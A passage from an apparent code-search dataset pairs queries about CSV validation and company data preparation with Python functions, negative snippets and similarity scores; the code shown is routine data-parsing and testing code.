self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\\n self.log.info('Data read from CSV %s' % csv_input)\\n #print('Data read from CSV %s' % csv_input)\",\n \"def test_with_header_no_schema(self):\\n # inferedschema should use first line of the csv as col names\\n frame = self.context.frame.import_csv(self.dataset, header=True)\\n expected_schema = [(\\\"1\\\", int), (\\\"a\\\", str), (\\\"2\\\", int)]\\n self.assertEqual(frame.schema, expected_schema)\",\n \"def valid_ogfile(listname):\\r\\n global original_file, directory_og\\r\\n listname = listname.split(\\\".\\\")[0] #get rid of adapting or notadapting\\r\\n try:\\r\\n original_file = open(directory_og+listname+\\\".csv\\\", \\\"r\\\")\\r\\n return True\\r\\n except:\\r\\n return False\",\n \"def test_not_enough_cols(parallel, read_csv):\\n text = \\\"\\\"\\\"\\nA,B,C\\n1,2,3\\n4,5\\n6,7,8\\n\\\"\\\"\\\"\\n table = read_csv(text, parallel=parallel)\\n assert table[\\\"B\\\"][1] is not ma.masked\\n assert table[\\\"C\\\"][1] is ma.masked\\n\\n with pytest.raises(InconsistentTableError):\\n table = FastBasic(delimiter=\\\",\\\").read(text)\",\n \"def comma_detector(self) -> bool:\\n curr_pos = self.fileobject.tell()\\n line = self.nextline()\\n comma = False\\n # A bold presumption, perhaps\\n if ',' in line:\\n comma = True\\n self.fileobject.seek(curr_pos)\\n return comma\",\n \"def test_misc_csv_read_inmemory():\\n r = csv_reader([\\\"fieldname_a,fieldname_b\\\",\\n \\\"mo,bo\\\",\\n \\\"go,zo\\\",\\n \\\"fo,po\\\"])\\n fields = r.hdr()\\n data = str(fields)\\n while True:\\n row = r.row()\\n if not row: break\\n data += '\\\\n' + str(row)\\n assert(data==\\\"\\\"\\\"\\n['fieldname_a', 'fieldname_b']\\n['mo', 'bo']\\n['go', 'zo']\\n['fo', 'po']\\n \\\"\\\"\\\".strip())\",\n \"def _validate_date(self, col):\\r\\n error_rows = [] # initialize list of rows with errors\\r\\n # Loop through data and validate time values\\r\\n for i, row in enumerate(self.rows):\\r\\n csv_row = i + 1\\r\\n date_of_survey = row[col]\\r\\n try:\\r\\n [m, d, y] = date_of_survey.split('/')\\r\\n testdate = datetime.date(int(y), int(m), int(d))\\r\\n except:\\r\\n error_rows.append(csv_row)\\r\\n return error_rows\",\n \"def _prepare_and_validate_data(self,data_list):\\n pos=0\\n list_pos=0\\n format=\\\"\\\"\\n length=0\\n value=\\\"\\\"\\n\\n #check number of items in data_list is as expected\\n if(self.data_lookup.count()['type']!=len(data_list)):\\n raise NumItemsError(\\\"Wrong number of items for the data type\\\")\\n\\n #loop over data from data_types.csv and populate\\n for index,row in self.data_lookup.iterrows():\\n length=int(row['Bytes'])\\n\\n #obtain format type\\n if (row['Format']=='byte'):\\n format=int\\n elif (row['Format']=='string'):\\n format=str\\n\\n #obtain limits\\n try:\\n min=int(row['Min'],16)\\n max=int(row['Max'],16)\\n except:\\n min='*'\\n max='*'\\n\\n #check format type\\n if (isinstance(data_list[list_pos],format)):\\n #correct format type\\n if format==str:\\n value=data_list[list_pos].encode()\\n elif format==int:\\n value=data_list[list_pos].to_bytes(length,'little')\\n\\n #check limits if int type\\n if min=='*' or max == '*':\\n pass\\n elif int(data_list[list_pos]) >= min and int(data_list[list_pos]) <= max:\\n pass\\n else:\\n raise ValueError(\\\"value\\\",int(value),\\\"is out of range, min:\\\",min,\\\"max:\\\",max)\\n else:\\n raise TypeError(\\\"Unknown type, can currently only handle string or integer types\\\")\\n #populate data\\n for n in range(0,length):\\n self.data[pos+n]=value[n]\\n pos=pos+length\\n list_pos=list_pos+1\\n else:\\n raise TypeError(\\\"expected\\\",format,\\\"got\\\",type(data_list[list_pos]),\\\"at position\\\",list_pos)\\n return True\",\n \"def validate_dataset(self):\\n pass\",\n \"def validate_file(self):\\n filename = str(self.filename)\\n self.is_error = False\\n self.message = \\\"\\\"\\n if not (filename.endswith('xls') or filename.endswith('xlsx') or filename.endswith('csv')):\\n self.message += \\\"Please Import only '.xls' or '.xlsx' or '.csv' File.\\\"\\n elif (filename.endswith('xls') or filename.endswith('xlsx')):\\n column_list = ['id', 'quantity']\\n\\n wb = xlrd.open_workbook(\\n file_contents=base64.decodestring(self.xls_file))\\n sheet = wb.sheet_by_index(0)\\n row = sheet.row_values(0)\\n invalid_cols = []\\n import pdb;pdb.set_trace()\\n for key in row:\\n key = key.encode('ascii', 'ignore')\\n if key.lower() not in column_list:\\n invalid_cols.append(key)\\n if invalid_cols:\\n self.message = \\\"Invalid Column Name %s\\\", ', '.join(\\n invalid_cols)\\n if not self.message:\\n for i in range(1, sheet.nrows):\\n row = sheet.row_values(i)\\n firstrow = sheet.row_values(0)\\n firstrow = [str(item).lower() for item in firstrow]\\n product_obj = self.env['product.product'].search(\\n [('id', '=', row[firstrow.index('id')])])\\n if not row[firstrow.index('quantity')]:\\n self.message += \\\"Enter Quantity In Your Excel File\\\"\\n if not product_obj:\\n self.message += \\\"Enter Valid Product Id In Your Excel File\\\"\\n else:\\n column_list = ['id', 'quantity']\\n xls_file = base64.b64decode(self.xls_file)\\n file_input = cStringIO.StringIO(xls_file)\\n file_input.seek(0)\\n rows = []\\n delimeter = ','\\n reader = csv.reader(file_input, delimiter=delimeter,\\n lineterminator='\\\\r\\\\n')\\n for row in reader:\\n rows.append(row)\\n firstrow = [str(item).lower() for item in rows[0]]\\n match = [column for column in firstrow if column not in column_list]\\n if match:\\n self.message += \\\"Enter Valid Column Name\\\"\\n if not self.message:\\n for row in rows[1:]:\\n rows[0] = [str(item).lower() for item in rows[0]]\\n product_obj = self.env['product.product'].search(\\n [('id', '=', row[rows[0].index('id')])])\\n if not row[rows[0].index('quantity')]:\\n self.message += \\\"Enter Quantity In Your Excel File\\\"\\n if not product_obj:\\n self.message += \\\"Enter Valid Product Id In Your Excel File\\\"\\n\\n if self.message:\\n self.is_error = True\\n if not self.is_error:\\n self.is_validate = True\\n return {\\n 'res_id': self.id,\\n 'view_id': self.env.ref('import_stock_inventory_drc.import_stock_inventory_view_wizard_form').ids,\\n 'view_type': 'form',\\n 'view_mode': 'form',\\n 'res_model': 'stock.inventory.wizard',\\n 'type': 'ir.actions.act_window',\\n 'target': 'new'\\n }\",\n \"def test_invalid_file_type(self):\\n file = SimpleUploadedFile(\\\"test.csv\\\", b\\\"\\\\xe8\\\")\\n form = MomConnectImportForm(\\n data={\\\"source\\\": \\\"MomConnect Import\\\"}, files={\\\"file\\\": file}\\n )\\n self.assertTrue(form.is_valid())\\n instance = form.save()\\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\\n [error] = instance.errors.all()\\n self.assertEqual(error.error, \\\"File is not a CSV\\\")\",\n \"def check_data(self):\\n\\n for i in range(len(self.full_ed_lines)):\\n if self.full_ed_lines[i].text() != \\\"\\\":\\n if self.full_ed_lines[i].hasAcceptableInput():\\n continue\\n else:\\n if i == 1:\\n self.msg2Statusbar.emit('Неправильный формат версии! Исправьте и повторите действие!')\\n elif i == 5:\\n self.msg2Statusbar.emit('Неправильная почта! Исправьте и повторите действие!')\\n return False\\n else:\\n self.msg2Statusbar.emit('Не все поля заполнены! Исправьте и повторите действие!')\\n return False\\n return True\",\n \"def _validate_header(self, header_row):\\n\\n self.logger.info(\\\"Validating header row.\\\")\\n \\n # assume value.\\n is_valid = True\\n\\n # check if @header_row is perfect.\\n required_keys = tuple(self.required_headers.keys())\\n if sorted(header_row) == sorted(required_keys):\\n self.logger.info(\\\"Header is valid.\\\")\\n return is_valid\\n else:\\n self.logger.error(\\\"Header is invalid.\\\")\\n is_valid = False\\n\\n # report on any missing header fields.\\n missing_headers = [header for header in self.required_headers if header not in\\n header_row]\\n if len(missing_headers) != 0:\\n self.logger.warning(\\\"Missing required fields: {}\\\".format(missing_headers))\\n \\n # report on any duplicate fields.\\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\\n if len(duplicate_headers) != 0:\\n self.logger.warning(\\\"Found duplicate fields: {}\\\".format(set(duplicate_headers)))\\n\\n # report on any extra fields.\\n extra_headers = [header for header in header_row if header not in \\n self.required_headers]\\n if len(extra_headers) != 0:\\n self.logger.warning(\\\"Found extra fields: {}\\\".format(extra_headers))\\n \\n return is_valid\",\n \"def has_invalid_lines(self):\\n # Convience variables\\n sample_id = self._sample_sheet.sample_id_column\\n sample_name = self._sample_sheet.sample_name_column\\n sample_project = self._sample_sheet.sample_project_column\\n # Look at first line to see which items have been provided\\n line = self._sample_sheet.data[0]\\n has_sample_id = line[sample_id] != ''\\n has_sample_name = (sample_name is not None) and \\\\\\n (line[sample_name] != '')\\n has_project = line[sample_project] != ''\\n # Look for invalid data lines\\n invalid_lines = []\\n for line in self._sample_sheet.data:\\n if self._sample_sheet.has_lanes and line['Lane'] == '':\\n invalid_lines.append(line)\\n elif has_sample_id and line[sample_id] == '':\\n invalid_lines.append(line)\\n elif has_sample_name and line[sample_name] == '':\\n invalid_lines.append(line)\\n elif has_project and line[sample_project] == '':\\n invalid_lines.append(line)\\n return invalid_lines\",\n \"def _verify_csv_file_report_notIn(self, report_store, expected_data):\\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\\n report_path = report_store.path_to(self.course.id, report_csv_filename)\\n with report_store.storage.open(report_path) as csv_file:\\n csv_file_data = csv_file.read()\\n # Removing unicode signature (BOM) from the beginning\\n csv_file_data = csv_file_data.decode(\\\"utf-8-sig\\\")\\n for data in expected_data:\\n self.assertNotIn(data, csv_file_data)\",\n \"def IsValid(self):\\n return (TickerFull.DelimiterSplit not in self.Text) and (TickerDataType.DelimiterData in self.Text)\",\n \"def isValid(self):\\n return self.file_name != \\\"\\\" and self.line_number != 0\",\n \"def test_importing_invalid_data_for_collections(self):\\n self.prepare()\\n\\n def _check(file_name, table_name, expected_results):\\n # import the CSV file with COPY FROM\\n logger.debug('Importing from csv file: {}'.format(file_name))\\n out, err, _ = self.run_cqlsh(cmds=\\\"COPY ks.{} FROM '{}'\\\".format(table_name, file_name))\\n logger.debug(out)\\n\\n assert 'ParseError - Failed to parse' in err\\n\\n results = rows_to_list(self.session.execute(\\\"SELECT * FROM {}\\\".format(table_name)))\\n logger.debug(results)\\n assert expected_results == results\\n\\n def _test_invalid_data_for_sets():\\n logger.debug('Testing invalid data for sets')\\n self.session.execute(\\\"\\\"\\\"\\n CREATE TABLE testinvaliddataforsets (\\n key text,\\n value frozen<set<text>>,\\n PRIMARY KEY (key)\\n )\\\"\\\"\\\")\\n\\n tempfile = self.get_temp_file()\\n with open(tempfile.name, 'w') as f:\\n f.write('key1,\\\"{\\\\'test1\\\\', \\\\'test2\\\\'}\\\"\\\\n')\\n f.write('key2,\\\"{\\\\'test1\\\\', \\\\'test2\\\\']\\\"\\\\n')\\n f.write('key3,not_a_set\\\\n')\\n f.write('key4,\\\"not_a_set\\\"\\\\n')\\n f.write(\\\"key5,'not_a_set'\\\\n\\\")\\n\\n expected_results = [['key1', SortedSet(['test1', 'test2'])]]\\n _check(tempfile.name, 'testinvaliddataforsets', expected_results)\\n\\n def _test_invalid_data_for_lists():\\n logger.debug('Testing invalid data for lists')\\n self.session.execute(\\\"\\\"\\\"\\n CREATE TABLE testinvaliddataforlists (\\n key text,\\n value list<text>,\\n PRIMARY KEY (key)\\n )\\\"\\\"\\\")\\n\\n tempfile = self.get_temp_file()\\n with open(tempfile.name, 'w') as f:\\n f.write('key1,\\\"[\\\\'test1\\\\', \\\\'test2\\\\']\\\"\\\\n')\\n f.write('key2,\\\"[\\\\'test1\\\\', \\\\'test2\\\\'}\\\"\\\\n')\\n f.write('key3,not_a_list\\\\n')\\n f.write('key4,\\\"not_a_list\\\"\\\\n')\\n f.write(\\\"key5,'not_a_list'\\\\n\\\")\\n\\n expected_results = [['key1', list(['test1', 'test2'])]]\\n _check(tempfile.name, 'testinvaliddataforlists', expected_results)\\n\\n def _test_invalid_data_for_maps():\\n logger.debug('Testing invalid data for maps')\\n self.session.execute(\\\"\\\"\\\"\\n CREATE TABLE testinvaliddataformaps (\\n key text,\\n value map<text, text>,\\n PRIMARY KEY (key)\\n )\\\"\\\"\\\")\\n\\n tempfile = self.get_temp_file()\\n with open(tempfile.name, 'w') as f:\\n f.write('key1,\\\"{\\\\'key1\\\\': \\\\'test1\\\\', \\\\'key2\\\\': \\\\'test2\\\\'}\\\"\\\\n')\\n f.write('key2,\\\"{\\\\'key1\\\\': \\\\'test1\\\\', \\\\'key2\\\\': \\\\'test2\\\\']\\\"\\\\n')\\n f.write('key3,not_a_map\\\\n')\\n f.write('key4,\\\"not_a_map\\\"\\\\n')\\n f.write(\\\"key5,'not_a_map'\\\\n\\\")\\n\\n expected_results = [['key1', dict([('key1', 'test1'), ('key2', 'test2')])]]\\n _check(tempfile.name, 'testinvaliddataformaps', expected_results)\\n\\n _test_invalid_data_for_sets()\\n _test_invalid_data_for_lists()\\n _test_invalid_data_for_maps()\",\n \"def test_delimiter_none(self):\\n with self.assertRaisesRegexp(Exception, \\\"delimiter\\\"):\\n self.context.frame.import_csv(self.dataset,\\n self.schema, delimiter=None)\",\n \"def parse_file(args):\\n\\n data_types = []\\n headers = []\\n\\n with open(args.input, \\\"r\\\") as csvfile:\\n reader = csv.reader(csvfile)\\n have_columns = False\\n\\n for line in reader:\\n if have_columns:\\n index = 0\\n for col in line:\\n if col != \\\"\\\": \\n if data_types[index] != TYPE_STRING and data_types[index] != TYPE_FLOAT:\\n data_types[index] = get_data_type(col)\\n # else:\\n # data_types[index] = TYPE_STRING\\n index += 1\\n\\n else:\\n headers = line \\n for col in line:\\n data_types.append(\\\"\\\")\\n have_columns = True \\n\\n return headers, data_types\",\n \"def is_file_parsable(cls, filepath, beginning=None):\\n\\n # TODO can we redirect the loc calls from here so they aren't shown\\n # since we're just testing if parsable and an error message \\n # would give the wrong impression\\n # or restructure the way our logger works, maybe accept a logger in\\n # the subsequent calls\\n\\n super().is_file_parsable(filepath)\\n\\n # MAGIC USAA doesn't use a header and the first line will do\\n lines = [l for l in cls.yield_header(filepath, rows=1)]\\n try:\\n first_line = lines[0]\\n except IndexError:\\n logging.error(\\\"file line count is 0: %s\\\" % filepath)\\n return False\\n is_parsable = cls._run_parse_checks(first_line, filepath)\\n\\n # NOTE b/c USAA does not use a header, check a few properties of the data\\n return is_parsable\",\n \"def check_errors(csv_file):\\n\\n logger.info(\\\"Checking %s.\\\", csv_file)\\n\\n errors_found = False\\n errors_file = f\\\"{os.path.splitext(csv_file)[0]}_errors.csv\\\"\\n deduplicated_file = f\\\"{os.path.splitext(csv_file)[0]}_deduplicated.csv\\\"\\n\\n with open(csv_file, 'r', encoding=\\\"UTF-8\\\") as input_file,\\\\\\n open(deduplicated_file, 'w', encoding=\\\"UTF-8\\\") as dedup,\\\\\\n open(errors_file, 'w', encoding=\\\"UTF-8\\\") as errors:\\n\\n reader = csv.reader(input_file, delimiter=',')\\n dedup_writer = csv.writer(dedup)\\n error_writer = csv.writer(errors)\\n line = 1\\n entries = set()\\n for row in reader:\\n\\n # Skip empty lines.\\n if not ''.join(row).strip():\\n continue\\n\\n # Record any incorrect classifications.\\n if not row[1].lower() == \\\"normal\\\" and not row[1].lower() == \\\"anomaly\\\":\\n error_writer.writerow(\\n [line, row[0], row[1], \\\"INVALID_CLASSIFICATION\\\"])\\n errors_found = True\\n\\n # Write first image entry to dedup file and record duplicates.\\n key = row[0]\\n if key not in entries:\\n dedup_writer.writerow(row)\\n entries.add(key)\\n else:\\n error_writer.writerow([line, row[0], row[1], \\\"DUPLICATE\\\"])\\n errors_found = True\\n line += 1\\n\\n if errors_found:\\n logger.info(\\\"Errors found check %s.\\\", errors_file)\\n else:\\n os.remove(errors_file)\\n os.remove(deduplicated_file)\\n\\n return errors_found\",\n \"def test_init_with_format_str_and_header_True_raises_error(self):\\n with pytest.raises(ValueError):\\n _ = CSVFormatter(fmt_str=\\\"\\\", header=True)\",\n \"def test_read_in_file(self):\\r\\n filename = \\\"CrimeDataSmall.csv\\\"\\r\\n\\r\\n lst = cds.read_in_file(filename)\\r\\n\\r\\n self.assertIsInstance(lst, list, \\\"Returned datatype should be a list\\\")\\r\\n self.assertEqual(len(lst), 4, \\\"There should be 4 rows returned from CrimeDataSmall 1 header and 3 data rows\\\")\\r\\n self.assertEqual(len(lst[0]), 23, \\\"Each row should have 23 columns\\\")\\r\\n self.assertEqual(lst[0][1], \\\"Reported_Date\\\", \\\"Column 1 was incorrect header\\\")\\r\\n self.assertEqual(lst[0][7], \\\"Offense\\\", \\\"Column 7 was incorrect header\\\")\\r\\n self.assertEqual(lst[0][13], \\\"Zip Code\\\", \\\"Column 13 header was incorrect\\\")\\r\\n self.assertEqual(lst[1][1], \\\"03/19/2019\\\", \\\"Column 1 was incorrect in first data row\\\")\\r\\n self.assertEqual(lst[1][7], \\\"Vehicular – Non-Injury\\\", \\\"Column 7 was incorrect in first data row\\\")\\r\\n self.assertEqual(lst[1][13], \\\"64161\\\", \\\"Column 13 in first data row was incorrect\\\")\\r\\n self.assertEqual(lst[3][1], \\\"03/27/2019\\\", \\\"Column 1 was incorrect in 3rd data row\\\")\\r\\n self.assertEqual(lst[3][7], \\\"Embezzlement\\\", \\\"Column 7 was incorrect 3rd data row\\\")\\r\\n self.assertEqual(lst[3][13], \\\"64112\\\", \\\"Column 13 3rd data row was incorrect\\\")\\r\\n self.assertEqual(lst[3][11], \\\"4600, S WORNALL RD\\\", \\\"Column 11 3rd data row was incorrect. Use csv module to read \\\")\",\n \"def check_data(self):\\n super().check_data()\\n\\n for session_index, session_data in enumerate(self._data_to_analyse):\\n if session_data.DATA_FORMAT != \\\"PyMEICA\\\":\\n self.invalid_data_help = f\\\"Non PyMEICA format compatibility not yet implemented: \\\" \\\\\\n f\\\"{session_data.DATA_FORMAT}\\\"\\n return False\\n\\n return True\",\n \"def isDataLine(line):\\n if len(line) > 1:\\n return line[0] != \\\"#\\\"\\n return False\",\n \"def isDataLine(line):\\n if len(line) > 1:\\n return line[0] != \\\"#\\\"\\n return False\",\n \"def make_generators_from_csv(csv_file):\\n with open(csv_file, mode='r', encoding='utf-8',\\n errors='ignore') as source_data:\\n source_data.readline() # skip header\\n\\n for line in source_data.readlines():\\n try:\\n line = line.rstrip().split(',')\\n if len(line) == 8:\\n yield line\\n else:\\n logger.error(\\n f\\\"Import failure on line split.\\\"\\n \\\" Expected 8 columns, but got {len(line)}. {line}\\\"\\n )\\n except IndexError as e:\\n logger.error(f\\\"Could not import customer data for {line}: {e}\\\")\",\n \"def test_csv_reader_header_fields(process_data):\\n data = process_data(file_name_or_type='clean_map.csv')\\n header_fields = list(data[0].keys())\\n assert header_fields == [\\n 'Country',\\n 'City',\\n 'State_Or_Province',\\n 'Lat',\\n 'Long',\\n 'Altitude'\\n ]\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.79888827","0.77903473","0.7676916","0.73605514","0.72107303","0.69361657","0.6886044","0.68570256","0.68204045","0.67923874","0.67035025","0.65973264","0.65804535","0.6500226","0.6483696","0.644907","0.6433415","0.64274734","0.63892037","0.6351961","0.63333106","0.62869","0.62831384","0.62623185","0.62588614","0.62510127","0.6190187","0.61790985","0.61496836","0.61432505","0.6125507","0.6125078","0.61245","0.6123467","0.6117351","0.6090639","0.6082698","0.6080866","0.6064356","0.6056515","0.6029362","0.6023044","0.6019252","0.59937674","0.59860224","0.59806687","0.59775084","0.59759426","0.5971597","0.5966151","0.59562504","0.59414","0.59366655","0.5928579","0.5926338","0.5922567","0.59182286","0.5912576","0.59099436","0.5904506","0.59026235","0.5893621","0.58575","0.5857053","0.58456093","0.58383536","0.58322155","0.58055687","0.579898","0.5760997","0.5760401","0.5751526","0.5749995","0.5748693","0.5745209","0.5739028","0.5736667","0.5719363","0.5716337","0.5713095","0.57125646","0.5710699","0.57026964","0.570117","0.56994677","0.569614","0.5688822","0.5688539","0.5684283","0.5676625","0.56707305","0.5666289","0.5655344","0.5648213","0.56452024","0.5636833","0.56348205","0.56348205","0.56337506","0.56322014"],"string":"[\n \"0.79888827\",\n \"0.77903473\",\n \"0.7676916\",\n \"0.73605514\",\n \"0.72107303\",\n \"0.69361657\",\n \"0.6886044\",\n \"0.68570256\",\n \"0.68204045\",\n \"0.67923874\",\n \"0.67035025\",\n \"0.65973264\",\n \"0.65804535\",\n \"0.6500226\",\n \"0.6483696\",\n \"0.644907\",\n \"0.6433415\",\n \"0.64274734\",\n \"0.63892037\",\n \"0.6351961\",\n \"0.63333106\",\n \"0.62869\",\n \"0.62831384\",\n \"0.62623185\",\n \"0.62588614\",\n \"0.62510127\",\n \"0.6190187\",\n \"0.61790985\",\n \"0.61496836\",\n \"0.61432505\",\n \"0.6125507\",\n \"0.6125078\",\n \"0.61245\",\n \"0.6123467\",\n \"0.6117351\",\n \"0.6090639\",\n \"0.6082698\",\n \"0.6080866\",\n \"0.6064356\",\n \"0.6056515\",\n \"0.6029362\",\n \"0.6023044\",\n \"0.6019252\",\n \"0.59937674\",\n \"0.59860224\",\n \"0.59806687\",\n \"0.59775084\",\n \"0.59759426\",\n \"0.5971597\",\n \"0.5966151\",\n \"0.59562504\",\n \"0.59414\",\n \"0.59366655\",\n \"0.5928579\",\n \"0.5926338\",\n \"0.5922567\",\n \"0.59182286\",\n \"0.5912576\",\n \"0.59099436\",\n \"0.5904506\",\n \"0.59026235\",\n \"0.5893621\",\n \"0.58575\",\n \"0.5857053\",\n \"0.58456093\",\n \"0.58383536\",\n \"0.58322155\",\n \"0.58055687\",\n \"0.579898\",\n \"0.5760997\",\n \"0.5760401\",\n \"0.5751526\",\n \"0.5749995\",\n \"0.5748693\",\n \"0.5745209\",\n \"0.5739028\",\n \"0.5736667\",\n \"0.5719363\",\n \"0.5716337\",\n \"0.5713095\",\n \"0.57125646\",\n \"0.5710699\",\n \"0.57026964\",\n \"0.570117\",\n \"0.56994677\",\n \"0.569614\",\n \"0.5688822\",\n \"0.5688539\",\n \"0.5684283\",\n \"0.5676625\",\n \"0.56707305\",\n \"0.5666289\",\n \"0.5655344\",\n \"0.5648213\",\n \"0.56452024\",\n \"0.5636833\",\n \"0.56348205\",\n \"0.56348205\",\n \"0.56337506\",\n \"0.56322014\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.8132414"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14473,"cells":{"query":{"kind":"string","value":"Prepare the company's data"},"document":{"kind":"string","value":"def prepare_company_data(self, month, year, row, company_data):\n for key, value in row.items():\n if not company_data[key]:\n company_data[key] = {'year':year, 'month':month, 'value':value}\n else:\n \"\"\"main operation updating the company's data per year\n and month vise \"\"\"\n company_data[key].update({'year':year, 'month':month, 'value':value})\\\n if company_data[key]['value'] < value else None"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def __getCompaniesData(self, schema):\n try:\n self.cursor.execute(\"\"\"SELECT id, twitter, proven_score, slug FROM {schema}.vendors_vendor WHERE\n twitter <> ''\"\"\".format(schema=schema))\n data = self.cursor.fetchall()\n\n companies = []\n for entry in data:\n self.cursor.execute('SELECT location_id FROM {schema}.vendors_vendorlocation WHERE vendor_id = {vendor}'.format(schema=schema, vendor=entry[0]))\n cities = self.cursor.fetchall()\n\n if cities is None:\n continue\n\n city = ''\n\n for cityId in cities:\n self.cursor.execute('SELECT city FROM {schema}.locations_location WHERE id = {city}'.format(schema=schema, city=cityId[0]))\n cityName = self.cursor.fetchone()\n\n if cityName is not None:\n city += cityName[0]\n\n self.cursor.execute('SELECT category_id, rank FROM {schema}.vendors_vendorcustomkind WHERE vendor_id = {vendor} AND \"primary\" is true'.format(schema=schema, vendor=entry[0]))\n customKind = self.cursor.fetchone()\n\n if customKind is None:\n catId = rank = None\n else:\n catId, rank = customKind\n\n if catId is not None:\n self.cursor.execute('SELECT name, slug FROM {schema}.categories_category WHERE id = {cat}'.format(schema=schema, cat=catId))\n catData = self.cursor.fetchone()\n else:\n catData = None\n\n companies.append(DBItemCompany(\n _id = entry[0],\n tweeter = entry[1],\n category = catData[0] if catData is not None else None,\n categoryUrl = self.__buildCategoryUrl(catId, schema) if catId is not None else None,\n provenScore = entry[2],\n ranking = rank,\n location = city,\n url = self.__buildProfileUrl(catData[1], entry[3], schema) if catData is not None else self.__buildProfileUrlWOCategory(entry[3], schema),\n categoryId = catId\n ))\n\n self.__companies[schema] = companies\n\n except psycopg2.DatabaseError as err:\n raise DBException(err.args[0])","def prepare_data(self):","def __load_company_data(self):\n\n for ticker_type, ticker_list in self.tickers.items():\n # yfinance only has sector, industry and country for stocks\n if ticker_type == \"STOCK\":\n for ticker in ticker_list:\n # Only gets fields for tickers with missing data\n # TODO: Should only get field missing for tickers with missing data\n # now it's taking the 4 of them\n if (\n self.__transactions.loc[\n self.__transactions[\"Ticker\"] == ticker,\n [\"Sector\", \"Industry\", \"Country\", \"Region\"],\n ]\n .isnull()\n .values.any()\n ):\n # Get ticker info in list [\"Sector\", \"Industry\", \"Country\", \"Region\"] from isin/ticker\n info_list = get_info_from_ticker(ticker)\n\n # Replace fields in transactions\n self.__transactions.loc[\n self.__transactions.Ticker == ticker,\n [\"Sector\", \"Industry\", \"Country\", \"Region\"],\n ] = info_list\n\n elif ticker_type == \"CRYPTO\":\n for ticker in ticker_list:\n if (\n self.__transactions.loc[\n self.__transactions[\"Ticker\"] == ticker,\n [\"Sector\", \"Industry\", \"Country\", \"Region\"],\n ]\n .isnull()\n .values.any()\n ):\n # Get ticker info in list [\"Sector\", \"Industry\", \"Country\", \"Region\"]\n info_list = [\"Crypto\", \"Crypto\", \"Crypto\", \"Crypto\"]\n\n # Replace fields in transactions\n self.__transactions.loc[\n self.__transactions.Ticker == ticker,\n [\"Sector\", \"Industry\", \"Country\", \"Region\"],\n ] = info_list\n\n else:\n for ticker in ticker_list:\n if (\n self.__transactions.loc[\n self.__transactions[\"Ticker\"] == ticker,\n [\"Sector\", \"Industry\", \"Country\", \"Region\"],\n ]\n .isnull()\n .values.any()\n ):\n # Get ticker info in list [\"Sector\", \"Industry\", \"Country\", \"Region\"]\n info_list = [\"-\", \"-\", \"-\", \"-\"]\n\n # Replace fields in transactions\n self.__transactions.loc[\n self.__transactions.Ticker == ticker,\n [\"Sector\", \"Industry\", \"Country\", \"Region\"],\n ] = info_list","def prepare_data(self):\n\n # Get days abbrs and month names lists\n self.month_names = cal_data.get_month_names()\n self.month_names_eng = cal_data.get_month_names_eng()\n self.days_abrs = cal_data.get_days_abbrs()\n\n # Today date\n self.active_date = cal_data.today_date_list()\n # Set title\n self.title = \"%s - %s\" % (self.month_names[self.active_date[1] - 1],\n self.active_date[2])\n\n # Quarter where current month in the self.quarter[1]\n self.get_quarter()","def _load_companies(self):\n if os.path.exists(self.PATH_TO_COMPANY_FILES + '/Companies.csv'):\n df = pd.read_csv(self.PATH_TO_COMPANY_FILES + '/Companies.csv')\n self.Symbols = list(df['Symbol'])\n self.FullNames = list(df['FullName'])\n self.CSVNames = list(df['CSVName'])\n self.sectors = list(df['Sector'])\n self.companies = df\n \n return","def feed_company_from_db1(output_data, domain):\n companyfl = CompanyFromdb1.objects.using('db1').filter(\n company_domain__iexact=domain,\n active=1\n )[0]\n\n if companyfl.company_name:\n output_data['name'] = companyfl.company_name\n\n if companyfl.company_phone:\n output_data['phone'] = companyfl.company_phone\n\n if companyfl.company_website:\n analyzed_url = urlparse(companyfl.company_website)\n if analyzed_url.netloc and analyzed_url.scheme:\n website_url = \"%s://%s\" % (\n analyzed_url.scheme,\n analyzed_url.netloc\n )\n elif analyzed_url.netloc and not analyzed_url.scheme:\n website_url = analyzed_url.netloc\n else:\n website_url = analyzed_url.path\n output_data['website_url'] = website_url\n\n if (companyfl.company_size and\n company_size_mapping_dict.get(companyfl.company_size)):\n output_data['size'] = company_size_mapping_dict.get(\n companyfl.company_size\n )\n\n if companyfl.company_remarks:\n output_data['description'] = (\n companyfl.\n company_remarks.\n replace('\\n', ' ').\n replace('\\r', '')\n )\n\n if companyfl.company_social:\n output_data['linkedin_url'] = companyfl.company_social\n\n if companyfl.sectors:\n output_data['industries'] = companyfl.sectors.split(u'§')\n\n if companyfl.profiles:\n output_data['types'] = companyfl.profiles.split(u'§')\n\n if companyfl.updated_on:\n output_data['last_updated'] = companyfl.updated_on\n\n # only retrieving email if email_status=VAL and row was updated less than\n # 365days ago\n if companyfl.company_email_status == \"VAL\" and companyfl.updated_on:\n duration_in_days = (timezone.now() - companyfl.updated_on).days\n if duration_in_days <= 365:\n output_data['email'] = companyfl.company_email\n\n if companyfl.street_name and companyfl.city and companyfl.country:\n # TODO: if street_number or postcode are None, we do not add it but it\n # leaves 2 spaces...find a way to solve it intelligently\n output_data['formatted_address'] = \"%s %s, %s %s, %s\" % (\n companyfl.street_number if companyfl.street_number else '',\n companyfl.street_name,\n companyfl.postcode if companyfl.postcode else '',\n companyfl.city,\n companyfl.country.country_name\n )\n\n return output_data","def prepare_data(self):\n import subprocess\n # Download coco data set into dir specified by config then /data/coco\n subprocess.call([f\"{get_original_cwd()}/bin/fetch_dataset.sh\", f\"{self.dir}/data/coco\", f\"{get_original_cwd()}\"])\n # subprocess.call([f\"bin/fetch_dataset.sh\", f\"{self.dir}/data/coco\"])\n task = \"instances\" if self.instance else \"person_keypoints\"\n register_coco_instances(\"train\", {}, f\"{self.dir}/data/coco/{task}_train2014.json\",\n f\"{self.dir}/data/coco/train2014\")\n register_coco_instances(\"val\", {}, f\"{self.dir}/data/coco/{task}_minival2014.json\",\n f\"{self.dir}/data/coco/val2014\")\n register_coco_instances(\"test\", {}, f\"{self.dir}/data/coco/{task}_valminusminival2014.json\",\n f\"{self.dir}/data/coco/val2014\")","def 